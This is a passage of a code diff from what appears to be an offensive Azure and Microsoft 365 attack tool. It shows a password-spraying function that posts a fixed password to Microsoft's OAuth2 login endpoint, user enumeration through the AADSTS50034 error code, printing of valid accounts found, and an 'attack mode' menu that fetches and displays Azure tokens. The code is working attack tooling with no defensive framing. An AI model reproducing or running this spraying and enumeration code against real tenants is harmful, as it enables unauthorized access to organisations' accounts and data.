1729 | | - | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", target.strip(),"a123456") |
| 1826 | + | r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", target.strip(),"a123456", False) |
1730 | 1827 | | error = r["response"] |
1731 | 1828 | | if "AADSTS50034" in error: |
1732 | 1829 | | print("The email " + target.strip() + " not found") |
| skipped 22 lines |
1755 | 1852 | | if chk is True: |
1756 | 1853 | | print("Found valid account: " + target.strip() + " / " + Password + "") |
1757 | 1854 | | else: |
1758 | | - | if 'Invalid password.' in chk: |
1759 | | - | continue |
1760 | | - | print(chk) |
| 1855 | + | continue |
1761 | 1856 | | print("Completed Operation.") |
1762 | 1857 | | except FileNotFoundError: |
1763 | 1858 | | print("Unable to locate file, please check your path.") |
| skipped 370 lines |
2134 | 2229 | | else: |
2135 | 2230 | | print("unkown command.") |
2136 | 2231 | | |
2137 | | - | attackWindow() |
2138 | | - | |
2139 | | - | ''' |
2140 | | - | def statupWindow(isFromMenu): |
2141 | | - | if isFromMenu: |
2142 | | - | print("You're out of attack mode.") |
2143 | | - | isFromMenu = False |
2144 | | - | while (True): |
2145 | | - | attackWindow() |
2146 | | - | |
2147 | | - | |
2148 | | - | opt = input(">> ") |
2149 | | - | if opt == "1": |
2150 | | - | print("Trying getting token automaticlly for you...") |
2151 | | - | initToken(tryGetToken()) |
2152 | | - | elif opt == "2": |
2153 | | - | print("Please paste your Azure token here:") |
2154 | | - | token = input("Enter Token:") |
2155 | | - | initToken(token) |
2156 | | - | print("All set.") |
2157 | | - | elif opt == "3": |
2158 | | - | print("Display Current token:") |
2159 | | - | print(getToken()) |
2160 | | - | elif opt == "4": |
2161 | | - | print("Resetting token..") |
2162 | | - | setToken("") |
2163 | | - | elif opt == "5": |
2164 | | - | print("Getting into attack mode.. use command help for navigate") |
2165 | | - | attackWindow() |
2166 | | - | elif opt == "6": |
2167 | | - | AboutWindow() |
2168 | | - | elif opt == "whoami": |
2169 | | - | currentProfile() |
2170 | | - | elif opt == "scopes": |
2171 | | - | currentScope() |
2172 | | - | else: |
2173 | | - | displayMenu(True) |
2174 | | - | ''' |
| 2232 | + | try: |
| 2233 | + | attackWindow() |
| 2234 | + | except KeyboardInterrupt: |
| 2235 | + | print("\nBye..Bye..!") |